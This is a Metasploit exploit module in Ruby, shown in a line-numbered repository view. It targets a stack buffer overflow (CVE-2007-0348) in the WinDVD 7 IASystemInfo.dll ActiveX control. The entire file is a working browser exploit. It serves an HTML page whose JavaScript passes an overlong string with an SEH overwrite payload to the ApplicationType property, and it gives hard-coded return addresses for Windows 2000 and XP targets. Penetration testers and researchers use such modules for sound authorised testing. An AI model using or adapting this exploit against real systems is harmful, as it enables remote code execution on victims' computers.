root / modules / exploits / windows / browser / windvd7_applicationtype.rb @ master
History | View | Annotate | Download (2.3 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = NormalRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::HttpServer::HTML |
| 18 |
include Msf::Exploit::Remote::Seh |
| 19 |
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow', |
| 23 |
'Description' => %q{ |
| 24 |
This module exploits a stack buffer overflow in IASystemInfo.dll ActiveX |
| 25 |
control in InterVideo WinDVD 7. By sending a overly long string |
| 26 |
to the "ApplicationType()" property, an attacker may be able to |
| 27 |
execute arbitrary code. |
| 28 |
},
|
| 29 |
'License' => MSF_LICENSE, |
| 30 |
'Author' => [ 'MC' ], |
| 31 |
'Version' => '$Revision$', |
| 32 |
'References' =>
|
| 33 |
[ |
| 34 |
[ 'CVE', '2007-0348' ], |
| 35 |
[ 'OSVDB', '34315' ], |
| 36 |
[ 'BID', '23071' ], |
| 37 |
], |
| 38 |
'DefaultOptions' =>
|
| 39 |
{
|
| 40 |
'EXITFUNC' => 'process', |
| 41 |
}, |
| 42 |
'Payload' =>
|
| 43 |
{
|
| 44 |
'Space' => 800, |
| 45 |
'BadChars' => "\x00\x09\x0a\x0d'\\", |
| 46 |
'StackAdjustment' => -3500, |
| 47 |
}, |
| 48 |
'Platform' => 'win', |
| 49 |
'Targets' =>
|
| 50 |
[ |
| 51 |
[ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ], |
| 52 |
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], |
| 53 |
|
| 54 |
], |
| 55 |
'DisclosureDate' => 'Mar 20 2007', |
| 56 |
'DefaultTarget' => 0)) |
| 57 |
end
|
| 58 |
|
| 59 |
def on_request_uri(cli, request) |
| 60 |
# Re-generate the payload
|
| 61 |
return if ((p = regenerate_payload(cli)) == nil) |
| 62 |
|
| 63 |
# Randomize some things
|
| 64 |
vname = rand_text_alpha(rand(100) + 1) |
| 65 |
strname = rand_text_alpha(rand(100) + 1) |
| 66 |
|
| 67 |
# Build the exploit buffer
|
| 68 |
filler = rand_text_alpha(548)
|
| 69 |
seh = generate_seh_payload(target.ret) |
| 70 |
sploit = filler + seh |
| 71 |
|
| 72 |
# Build out the message
|
| 73 |
content = %Q|<html>
|
| 74 |
<object classid='clsid:B727C217-2022-11D4-B2C6-0050DA1BD906' id='#{vname}'></object> |
| 75 |
<script language='javascript'> |
| 76 |
#{strname}= new String('#{sploit}') |
| 77 |
#{vname}.ApplicationType = #{strname} |
| 78 |
</script> |
| 79 |
</html> |
| 80 |
|
|
| 81 |
|
| 82 |
print_status("Sending #{self.name}")
|
| 83 |
|
| 84 |
# Transmit the response to the client
|
| 85 |
send_response_html(cli, content) |
| 86 |
|
| 87 |
# Handle the payload
|
| 88 |
handler(cli) |
| 89 |
end
|
| 90 |
|
| 91 |
end
|